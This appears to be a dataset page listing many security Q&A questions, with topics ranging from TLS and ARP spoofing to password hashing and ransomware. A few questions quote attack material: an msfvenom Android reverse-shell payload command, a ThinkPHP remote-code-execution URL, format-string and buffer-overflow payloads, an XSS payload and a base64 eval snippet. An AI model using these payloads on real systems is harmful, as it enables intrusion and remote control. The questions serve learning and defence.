instruction stringlengths 24 29.9k |
|---|
Been trying to wrap my head around SSL stripping.
An explanation here writes:
Keep in mind, however, that when you install SSL, you’re essentially creating a duplicate of your website with HTTPS URLs. Those original HTTP URLs still exist, though. Usually, you use 301 or 302 redirects to ensure users can’t reach the HT... |
Policies are the high-level statement from Senior Management. It's a philosophy for the management to be guided by, and management has the direction to plan, build, run and monitor the activities to achieve the enterprise objectives from the policies.
Is it possible to judge/assign accountability on the policy level?
M... |
How do we protect digital data (whether in critical online/offline data centre or personal disk) from man-made EMPs, such as nuclear EMPs, non-nuclear EMPs weapons, etc.
Is E1 EMP indefensible?
|
We are building a packet based anomaly detection system and I'm trying to find labeled packets.
Such dataset doesn't exist based on my search, but I can find labeled flows.
Can we say that every packet is hostile which is part of a flow that is labeled as hostile? I guess the answer is no, but I'm not sure.
For example... |
When I run Snort on a pcap file (that contains malicious traffic), it does not detect anything.
I uncommented the rules path in Step #7 at snort.conf. Nothing is changed.
How to let Snort detect attacks from test.pcap and generate a log file?
I used the following command :
$ snort -r /home/mina/Download/test.pcap -c /e... |
I recently saw a CTF challenge application (elf x86_64) on Linux environment, vulnerable to several attacks including format string, because the complexity of the full exploit, I don't want to say too much about, I saw someone who use something like the following as input for the format string attack:
%130x%7$n
What ha... |
As some in here might know, there is/was a ransomware attack going on worldwide that used 7z to encrypt all files <20MB for a ton of users world wide.
Each user has a unique 32 char password (Upper & lowercase & Numbers - 62 possibilities, no special char where used)
the command line that was being used was a -mx = 0 -... |
I study computer security and I read articles about the potential usage of sequential pattern mining in IDPS products:
Database intrusion detection using role and user behavior based risk assessment
Building intrusion pattern miner for Snort network intrusion detection system
I am curious if any of you have seen thes... |
Recently wordpress site on centos 7 server is hacked and WSO shell was uploaded.
Ive checked other sites and nothing was changed, Im using centos web panel and the root password also was not changed.
I had also modsecurity on my nginx- firewall on - maldet and rkhunter on my server wordfence on the wordpress site, stil... |
Let's say you use a reliable VPN like ProtonVPN to browse the Internet. In theory, can a compromized browser betray you? Does it has access to your ISP's IP?
As a bigger picture, if you want to upload some sentive material, can a compromized browser track your activity and report to "someone", maybe with your real IP a... |
I have old cell phones with problems that make them useless (non-responsive touch screen, black-on-black display, will not power up). I also have a bunch of solid-state USB memory devices that don't work (e.g. don't connect). I would like to dispose of this non-functioning junk, but I'm concerned that the devices have ... |
I've been fumbling through the world of Information Security by going through the HTB challenges, and I've come across an issue I just can't seem to find an answer for. During one of the challenges I'm trying to crack a zip password using JTR using the rockyou.txt wordlist as when I use the standard one it goes to incr... |
On a training website where instructors can create Q&A exams for their students, an instructor put a question about XSS. Part of the question was http://abcd.com/options#<img src=1 onerror=alert("XSS")>. When I took the exam, that part of the question showed up on my screen as:
I believe that the website renders any i... |
I developed my product, which is exposed via API+web+mobile app.
How can I prevent a 3rd party from developing its own front end and plug it on my backend?
I'm not talking about a simple phishing attack but a "chaotic-good" guy, that thinks my frontend sucks and wishes to provide my service on his terms and get away wi... |
I clicked on a link in my android phone and I don’t know if it was an xss or not. I want to know that in the case of an xss attack, can the hacker access my whole cookies or just the cookies that belong to the website in the link address?
|
I'm wondering what type of access a school administrator might have to my browsing history/watch while I am working and teaching.
I work from home on my private wi-fi network, and I use my personal device, not a school device while I teach. The only thing I do is sign in to my school's Gmail account for my district acc... |
I have a an endpoint, it redirects to an image which is stored on a storage service, I am considering if it is safe to embed the JWT in the url endpoint as such https://host/image?token=. This is the same JWT token which the system uses to decode and authenticate the user session. It works and allows me to ensure only ... |
I'm trying to verify GameCenter authentication on an iOS app with GameKit. The fetchItems API returns a URL for the public key needed to do this.
Steps 3 and 4 of that API say:
Use the publicKeyURL on the third-party server to download the public key.
Verify with the appropriate signing authority that Apple signed th... |
I'm conducting some research on botnet detection. I'm specifically looking at Zeek/Bro connection logs (so network flows). I was wondering what affects the tempo of the succession of network flows seen when an infected device conducts a DoS attack and or port/IP scanning. Is it a function of the device's computational ... |
Client B connects to server A using TLS. B knows A by it's FQDN (e.g. www.alice.tld), and by a root certificate for a CA that issued a certificate to A for this FQDN. Say B uses HTTPS and a standard web browser, and the certificate A holds comes with a chain of certificates to a CA which is in B's browser's whitelist.
... |
There is something I do not understand about arp spoofing, and no article I read so far seems to explain it:
Assume the following setting:
We have three hosts A,B,C with ip addresses 192.168.178.{10,11,12}, all hosts are connected to each other by a single switch. Now host A wants to communicate with hosts B and hence ... |
What is the best practice for changing passwords while the user is already logged in?
In my application to change the password, the user who is already logged in has to pass the current password and a new password. There is no email confirmation neccesary.
Tester suggested that password change should be done only by se... |
I am about to return my ThinkPad laptop to my (former) employer. I found a very nice solution to erase / protect my private data -- ThinkWipe application in ThinkPad's BIOS. I made use of it right away.
However, to my kind of big surprise, it told me that:
2 seconds long encryption key reset is a safe method,
15 minut... |
I was on a group with almost 200k people on it in Telegram. One of these members (probably new, his account is now deleted) sent me (and to other people too) a file named "Customer deposit H.rar", I proceeded immediately to delete it and analyze my Android 9.0 phone with Kasperky Free.
What are the possibilities that I... |
I have this configuration:
HOST-A <---> GAT-A <---> MiTM <---> GAT-B <---> HOST-B
I'm doing a security project on MTU-IPsec vulnerabilities and following this guide of Hal-Inria, I'm able to inject a packet to the gateway A, and change the MTU towards gateway B. Then, because I set an MTU lower than 552 i expect to be... |
We use multiple kinds of token in our system for :
Invitation to joint a group
Account creation (validate if the user possesses the email address)
Validate email address
The tokens are sent in a link in an email. I have been asked to include the expiration date of the tokens. However, it feels as if it could help hac... |
I honestly have no idea what this is.
Reddit has a growing number of users posting far-right misinformation constantly. Googling their usernames shows a whole list of results, many of which don't belong to reddit, but seem like mirrors.
Hull City Tigers are a football club based in Hull. This is their actual website.
h... |
How many dictionary words in each attempt (e.g. "word1 word2") will Cain and Abel attempt to use before giving up?
I've done some testing and my results seem spotty. For example I've seen it give up on a two word MD5 hash and also crack a 6 word MD5 hash.
Regarding dictionary attack options, I'm just using "As Is".
|
Assume sensitive audio emissions from a mechanical keyboard. These audio emissions are often sufficient to reconstruct the actual key presses that generated the sound. If the audio is compressed using a narrowband audio codec such as G.711, how much of the information is destroyed?
Put another way, can acoustic side-ch... |
I want to run a piece of untrusted code on my machine.
I've disabled all syscalls (besides exit, sigreturn, read and write) with seccomp for a process. Now, I'd like to spawn a child process that will execute the untrusted code.
What attacks are still possible?
How to prevent them?
|
I'm playing around with openssl command line to verify my understanding on block cipher mode.
I read that ECB block cipher mode always encrypt the same text to the same output.
AES operates on 16 bytes block, independently on the key length while DES operates on 8 byte blocks.
So I tried the following examples expectin... |
Please forgive my ignorance, but are there any security issues with connecting to a known (safe) WiFi network with that requires no password?
Am I right in thinking that any other network that uses the same SSID and no password, that came in range of my device would result in my device auto-connecting to it? Potentiall... |
I was in a discord recently and someone sent a grabify link. I clicked on it and it led me to a soundcloud page. I think my firewall on my router is alright, is that enough to prevent them from doing anything with my ip?
Furthermore, could they have somehow installed a virus with only the grabify link even though it le... |
This question is about validating certificates. Imagine some machine gets a leaf certificate (i.e. a certificate signed by the certificate of some CA) with specific Key Usage attributes.
Example #1: Should the machine reject the certificate if the parent certificate does not include the keyCertSign bit in Key Usage?
Ex... |
I am developing a web application which will require users to provide 3rd party API keys through the client, which will then be used to make requests to the 3rd party API from the backend of my app.
After researching, I believe the best way, and standard practice, is to store these API keys as plain text in my database... |
Can a meltdown attack also violate data integrity of other processes by obtaining different passwords or is it just violating data secrecy by reading data it is unauthorized to do?
|
By nature, .NET assemblies are extremely easy to reverse engineer. Say I want to hide some code by embedding an encrypted .dll into another .dll that is to be decrypted and loaded at runtime:
compile a .dll with all the code I want to protect.
encrypt the .dll (with the help of SHA-256 hash algorithm and Microsoft RSA... |
I am trying to do a buffer overflow on 64-bit Kali VM. When I execute the program and inject the NOP sled + shellcode + return address, the shell does not execute. I think it might have something to do with the return address, but i'm not completely sure...
This is the program
#include <stdio.h>
#include <string.h>
in... |
I have some questions about certificate pinning.
Supposing that a mobile application has pinned only the root CA, it should be possible to an attacker to redirect in some way the victim to a malicious website with the same Root CA. Am I wrong?
What happens, instead, if an app pins the Root CA but verifies the hostname ... |
I have a Windows 10 PC. I don't want anyone to grab my private data stored on my PC even if they manage to get my login password.
Earlier, I used software that can easily get rid of any administrator password of the OS and log in.
Is there any kind of software or method to wipe our personal data on any sort of unauthor... |
I'm designing an IoT product, I'm searching solutions to secure the system.
The system's protocol is MQTT, while it's very helpful, it contains vulnerabilities.
I've read enough to come with this proposed system:
Using TLS: It's important, but it depends on support.
Apply a client-id prefix rule: The server wont accep... |
This question is inspired by this answer and question
I also use that method to handle the case where users can sign in and out of multiple devices, by storing a per-device refresh token for a device id. I am making the assumption that various additional checks should be available to refresh token exchange: check IP fo... |
I wondered in which settings is it possible to launch a HTTP Response Splitting Attack but not completely replace the HTTP message?
The examples I saw all allowed full replacement of the HTTP response, which made me think the attacker could have just replaced the full HTTP response in the first place.
I considered that... |
If someone tells me their service uses TLS 1.2 or higher, how much 'guaranteed' security does this provide?
Is it possible to correctly claim to be using TLS 1.2 or 1.3 and still be insecure? For example, using a correctly implemented TLS handshake but with a weak cipher?
If it is possible to 'correctly' implement TLS ... |
Spam is everywhere and everyone gets it (especially professors), but I noticed that my personal email does not get much spam. How can I get more?
What are the most common ways of getting spam? Not just by forgetting to unsubscribe from a mailing list, but also how do hackers get access to email addresses?
|
I am using buffer overflow to overwrite the return address and calls another function. The name of function I call by overwriting the return address is not_called. Here is how I create the payload
(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x3b\x42\x08\x08")')
The program works in the above c... |
New Sqlmap user, so please be patient :)
I've started looking at the tool and I'm curious about its use. For instance, the login page of OWASP's Juice shop is vulnerable to sql injection (' OR 1=1-- and you'll be automatically logged in as admin), but running the tool from the cmd line over the login url doesn't detect... |
I'm looking forward to discovering more about the way in which USB devices encrypted with BitLocker are protected.
If I insert a USB key encrypted with BitLocker on a different device, I can access the storage only if I have the recovery key, right?
If the USB key has been encrypted with BitLocker in a device for which... |
I am writing a ReST service which enables user to get a tar archive of a set of requested documents. When the request succeeds, the service should upload the file to a pre-signed URL that points to an s3 bucket or azure blob storage or a private minio server, or any other object store which the user specifies. This req... |
I have ThinkPHP wordpress garbage coming at my server https://medium.com/@knownsec404team/analysis-of-thinkphp5-remote-code-execution-vulnerability-5de8a0afb2d4
, for example:
/public/index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
I logged this req... |
Today, when my boss talking with me, he suddenly said: No you don't need to worry about it, everyday you have 3 or 4 messages with agent in Linkedin right?
I am very very surprised, because :
I work at home.
I don't use VPN.
I use Linux (Ubuntu) system which installed by me.
I login with my Chrome / Gmail account.
I u... |
Does Wire employ encryption of data at rest?
I generally consider Signal and Wire to be the best tools today for sending information privately between two parties. Both meet the marks on crypto, open-source, 3rd party audits, PFS via the double-ratchet algorithm, etc.
Personally, I prefer Wire because it doesn't requir... |
In light of the 2006 Debian OpenSSL fiasco, it seems prudent to take additional precautions as part of a "defense in depth" strategy against future possible vendorside-introduced ssh security vulnerabilities. What are some measures that can mitigate against bugs similar to the 2006 Debian OpenSSL bug in future? Some id... |
How to secure RDP connection to prevent the spread of ransomware from users' systems when they connect to corporate systems through remote desktop?
|
I am going through a short course on security. One of the videos is talking about non-repudiation in regards to cryptography and sending messages between Alice and Bob. This video talks about how digital signatures can be used to verify the sender of a message, which I understand (Bob decrypts the message with his priv... |
In this report on the recent ParkMobile breach, the article has this comment from the company:
“You are correct that bcrypt hashed and salted passwords were obtained,” Perkins said when asked about the screenshot in the database sales thread.
“Note, we do not keep the salt values in our system,” he said.
If the salts... |
Supposed I have a number of HTTPS servers on different networks, would it be safe enough to use them together to verify a new SSH daemon's public key? i.e. if they all return the same fingerprint, is it safe enough to assume there is no MITM attack?
I'm aware of SSH certs, but it gets tough to implement with most share... |
I know during emergency calls we can connect to our mobile networks without using a SIM and make calls.
So it's technically possible to connect.
The SIM card holds encrypted info on how to authenticate to the mobile network.
So my question is: if we have access to the encrypted data of the SIM, would it be possible to ... |
I keep hearing about the XML round trip vulnerability in version 3.2.4 of the Ruby package REXML. I looked into it myself, of course, and it seems to have something to do with parsing an XML document, then putting it back into XML again, and it coming out incorrect or just different than the original.
Presumably, it ca... |
One of our users regularly receives spam mails containing a shortened link. I got curious, so I decided to investigate one of those links and it took me to a plain text website with gibberish, as if someone created text from the autocorrect suggestions of their phone. This is the site in question:
What I don't underst... |
I am dealing with a website vulnerable to CSRF. Let's say that the page (upload.php) has the following code
if (isset($file_submit)) {
//submit_file()
}
else {
show_submission_form()
}
submission_form()
{
$tool_content .= <<<cData
<form enctype="multipart/form-data" action="upload.php" met... |
In a recent tweet, a prominent UK journalist has claimed to have witnessed a European police force accessing content on a mobile phone just by using the telephone number.
https://twitter.com/krishgm/status/1388072994296184832
Are there any known technology or attacks that could do such a thing?
Edit
For clarity, here i... |
I am reverse engineering a binary that contains a raw, DER-encoded X.509 certificate containing a DSA public key. I want to replace this certificate with one that I have generated so that I have access to the private key.
Due to this certificate being inside the binary, I need to replace it with a certificate of the sa... |
Firstly, I do not think my question is answered by SSD full disk encryption as I am not looking for a binary "is FDE secure" - nothing is perfectly secure; rather I am looking for possible solutions to the specific SSD/FDE encryption conundrum.
Theoretical attack model: My computer's root disk (all mounted partitions) ... |
Is it possible to infect important Linux system files with a malware from another operating system? For example, you are using Windows, you have a disk with the Debian operating system connected. You "caught" (on Windows) a malware that aims to modify Linux system files. Will the Linux kernel notice the change in these... |
i was testing somethings on browsers(It has nothing to do with what I am going to say) and accidentally i faced a case that when i browse meaningless addresses like abc/ signortest/ word/
the request sent to ip addresses hosted on linode!(i attached wireshark capture), that some of those IPs was reported malicious.
a... |
I was given a laptop by my company. I reinstalled everything and now I occasionally open Whatsapp web in the background to reply to messages. Most of the times my laptop is connected to the Company's Wifi. I wanted to know if they can see my Whatsapp texts or not?
Note: They've provided me an OpenVPN to access the Data... |
I recently tested the NTP Time Synchronization Attack as described and demonstrated by Jose Selvi in 2015.
Basically, the attack was mostly used to send the victim's clock in the future, so the already cached HTTP Strict Transport Security entry could expire, and when the victim visits the website that returned the HST... |
What are the risks of using NFC on a YubiKey versus just a hard connector?
I imagine it would be possible to sniff some data off of these security keys? How real is the risk of sniffing and what could an attacker gain from such an attack (only ephemeral data I am hoping)?
My main concern is that an attacker could basic... |
When downloading a Linux installer iso, the user is supposed to check the iso with sha or m5sum and compare the result against a checksum file, and then check the gpg signature of the checksum file.
If I understand it right, the checksum is to test for iso integrity (iso not corrupted) and that gpg checks that the chec... |
What is the meaning of "meterpreter session"? My understanding is it is a session that we can send commands to the host for execution. And a meterpreter session is created when we don't get a shell.
|
We publish a Windows desktop app, and while I've run VirusTotal on all of our files with no hits, some security software blocks incoming connections on ports we use, leading to frequent user support issues. Both our installer and the installed app are signed.
Our installer automatically adds exclusion rules to Windows ... |
Is it possible to use a firewall appliance as WAF? To make it more clear, lets think of a model like this:
Internet > router > Firewall > webserver
Can the firewall act as a WAF and block some special http requests according to some rule sets?
My question is about the possibility of this matter, maybe there are a few f... |
My IoT Device is connecting to server using TLS. on Device side implementtaion (with wolfSSL) we are just passing CA (root) cert to validate/ authenticate the server! any specific identity of server is NOT being passed apart from the server url - that means server is being authenticated just via the CA root cert!
if a ... |
Let say that a person has made a comment on a Facebook group and in the browser address bar it will have a link with the following format. If someone clicked on this link, it will jump straight to the public comment (this is just a sample link):
https://www.facebook.com/groups/402723123456/permalink/137534228296458/?co... |
I have been using Brave for a long time now. Lately, I realized it uses Chromium. I really dislike using Google because of my data privacy. So I am starting to wonder if Brave does the same thing.
|
My website has several forms which are periodically spammed.
When a submission gets flagged as spam, and is internally rerouted to where spam should go, what is the appropriate response:
show an error
or
show the regular message indicating that the message has been sent like normal
The problem with the first option i... |
Assuming you have the user protected PDF file. Using the password, the cryptographic key is generated and the file encrypted. Where is the key stored, is it on the RAM every time the file is opened?
|
I'm running a private CA for testing purposes. I have my root CA cert, an intermediate CA cert, and some server certificates. Clients have the root CA cert installed as trusted.
It's not clear to me if the server, let's say nginx but not necessarily, should return the complete certificate chain (server+intermediate+ca)... |
Let's say hypothetically a business has a network and some respective infrastructure. Importantly, a VPN for giving remote secure access to work resources, and a (not so)private DNS server for DNS but also things like blocking malware domains as your usual business DNS server does. The DNS server is internet facing and... |
I am currently learning about IPS and was wondering about a query that applies to how IPS works. I have knowledge of CSRF and XSS attacks, however I am unsure if Intrusion Prevention Systems can prevent these attacks as it aims to block intrusions and is performed in-line/in-band. If someone could provide me further cl... |
I'm using Kali Linux and trying to crack my own /etc/passwd file with the username "matt". I've unshadowed it however trying to use Hashcat or JohnTheRipper to identify and crack it has yielded no results. The $y$ prefix doesn't seem to come up on any hash lists or help files. Can anyone identify it or know which has t... |
I have had Tor for a bit, I do not use it that often. But I am wondering if anyone knows if it is secure. How safe are onion connections?
|
This is a brief sanity check for myself to confirm whether or not the premise of the title is a good idea or not.
Suppose we have an internal system for password reset or account verification. When a user performs an action, they are provided with a token identifying them through some external source (typically email)... |
I created a payload using
msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk
signed the apk, sent it to my phone, opened up msfconsole and ran
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.2.2
exploit
After this, I installed the apk and opened it on my phone, and got something ... |
I am discovering both Freeradius and the password hashing mechanism. I built a database (in MySQL) to store the passwords of some users. I have a user with the password in clear text, another one hashed in SHA256 without salt and the last one hashed in SHA256 and salted.
I used this script to create the salted hash : h... |
Something like the Hong Kong protests for example. If a protestor wanted to use his personal computer on a network that is monitored, how can he change its properties enough so that it is not traced back?
For example, I would assume the MAC can be used to try to identify the user of the device. If the same MAC address ... |
Is there any difference between a X509 TLS client cert and a server cert?
I had been implementing certificate-based mutual authentication and hence trying to get/use certificates for IoT devices. While we are pretty clear on server certificates, I was wondering if the client certificates that individual IoT devices wil... |
I am comparing implementation complexity of JWS and Client Certificate and troubleshooting Client Certificate at the same time.
I understand that both methods require to prove that the certificate (x5c in JWS or the actual Client Certificate) is trustworthy (as per https://www.rfc-editor.org/rfc/rfc7515#section-10.3). ... |
The sample password-encryption below.
{SLT1000}8kmbGwpGQRS0b8GOdAH4/Wrt8z4=
Could anyone identify what type of encryption is this?
|
I noticed some very advanced sites don't offer 2 factor authentication via phone/text. Example Salesforce's Heroku:
Is phone/text based 2 Factor Authentication generally weaker than using an authenticator app? I'm trying to work out why a major site would not offer 2 Factor Authentication via phone/text, but offer oth... |
I know there are various questions that seem similar, for instance, this one. However, it does not answer my question.
I'm creating a signup/login system (with node.js to be particular), and I'm trying to hash the user's password (with bcrypt), as well as use aes-256 for the rest of the user information. I've been told... |
I am trying to setup a YubiKey 5 NFC with GPG on Windows 10 to ultimately use it to sign git-commits.
This is a new topic for me and I ran into some issues that got me stuck now.
I ran into this error:
gpg --card-status
gpg: selecting card failed: No such device
gpg: OpenPGP card not available: No such device
What I d... |
We are creating an Information Assurance and Security Plan for a public school. The Plan will include Google Classroom because the school doesn’t have an online learning platform. The problem is our teacher is requiring security software to use so we have searched about Cisco Umbrella. Is it possible to use Cisco Umbre... |
As far as I know, the only privacy problem with cookies is that in general, the owners of website Y could read what a visitor has searched for or had done in website X.
Will making HTTP cookies unique to a given website (so other websites won't be able to access it) make cookies aligned with the strictest privacy guide... |
I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the Windows clients.
Is there any straightforward way to realize dynamic handling of incoming connections?
|
Is it possible to execute payloads with javascript in the browser
According to this question you can execute base64 code
index.html
<html>
<script>
var encoded = "base64 payload goes here";
var decodedString = atob(encoded);
eval(decodedString);
</script>
</html>
When you check the console in developer tool... |
I was reading this article which talks about a design to shorten URLs, and in the design section, it says that the given URL can be hashed using a hashing algorithm such as MD5, and then be encoded for display purposes using base64 or similar encoding.
I am confused so as to why would we need to encode a hashed string.... |
For example, if I add two accounts from different non-Google services, can Google (or maybe those services) because of that link them both together with my gmail account?
|
One of my old, rarely used computers had still an old password for my pyszne.pl / takeaway.com account stored in my browser's password manager. I tried to log into my account from that computer and saw a page saying that a one-time password was sent to an email address associated with the account that I am trying to us... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.